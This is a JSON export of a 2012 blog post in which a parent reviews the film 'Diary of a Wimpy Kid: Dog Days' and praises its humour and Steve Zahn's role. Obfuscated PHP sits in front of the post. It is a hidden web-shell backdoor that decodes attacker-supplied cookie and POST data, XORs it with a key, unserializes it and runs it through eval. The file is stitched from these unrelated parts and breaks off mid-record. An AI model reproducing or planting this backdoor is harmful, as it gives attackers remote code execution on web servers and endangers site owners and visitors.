$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":1902,"date":"2012-08-13T06:56:02","date_gmt":"2012-08-13T11:56:02","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=1902"},"modified":"2012-08-13T06:56:02","modified_gmt":"2012-08-13T11:56:02","slug":"dog-days-quite-a-relief","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=1902","title":{"rendered":"‘Dog Days’ Quite a Relief"},"content":{"rendered":"

<\/p>Sometimes when I take my daughter to a movie, I have to grit my teeth at the end when she talks about how she liked it. I don\u2019t question her taste. I just know how some films don\u2019t quite reach the bar of entertaining both youngsters and adults.\n

$\"\"$ <\/a>As we left \u201c Diary of a Wimpy Kid: Dog Days<\/a>,\u201d the third installment of the franchise, I did not have to lie one bit. I don\u2019t know if I liked it as much as she did, but I really enjoyed the film.<\/p>\n

That doesn\u2019t surprise me much because I enjoyed both of the first two \u201cWimpy Kid\u201d films, even though the second one<\/a> did not get a ton of critical acclaim. I really appreciate the way the films stay as true as possible to the cartoon nature of Jeff Kinney\u2019s books<\/a> while not using that tool as a crutch. By not getting too heavy handed and focusing on the awkwardness of growing up, the trilogy provides quality escapism. My daughter also told me that they stayed fairly true to the book, which makes me feel pretty good for some reason.<\/p>\n

With Greg and Rowley preparing to enter eighth grade, they really did a good job showing how pursuit of the cute girl in their class can get boys to do pretty silly things. By paralleling his older brother\u2019s similar pursuit, the script truly exposed the timeless nature of some things.<\/p>\n

But the best change from the second to the third movie came in how the story focused more on Greg\u2019s relationship with his father, mainly because I\u2019m a sucker for Steve Zahn zaniness. I also don\u2019t enjoy the way the mother, played by Rachael Harris, is oblivious to how her actions bother her son. I know they need to exaggerate that a little, but it makes her pretty unsympathetic. Zahn\u2019s Frank Heffley, on the other hand, really gets how things just aren\u2019t working with him and Greg, leading to the eventual happy ending.<\/p>\n

As evidenced by how much Zachary Gordon has grown between films (although most of the other kids haven\u2019t changed as much), I think we may see the end of the films mirroring the progression of the book series. \u201cDog Days\u201d was the fourth book and the seventh will come out later this year. That timeline only gets the characters to February of their eighth grade year. Wikipedia says that the fifth book is being considered for a movie with the sixth book possibly lined up for an animated holiday special. Kinney says he\u2019s open to anything and understands the difference between keeping the character timeless on the page and dealing with the actors getting older for the films.<\/p>\n

Hopefully he and the producers can find a way to walk that line and keep both going because they have managed to entertain through both mediums.<\/p>\n

\u00a0<\/p>\n<\/body>","protected":false},"excerpt":{"rendered":"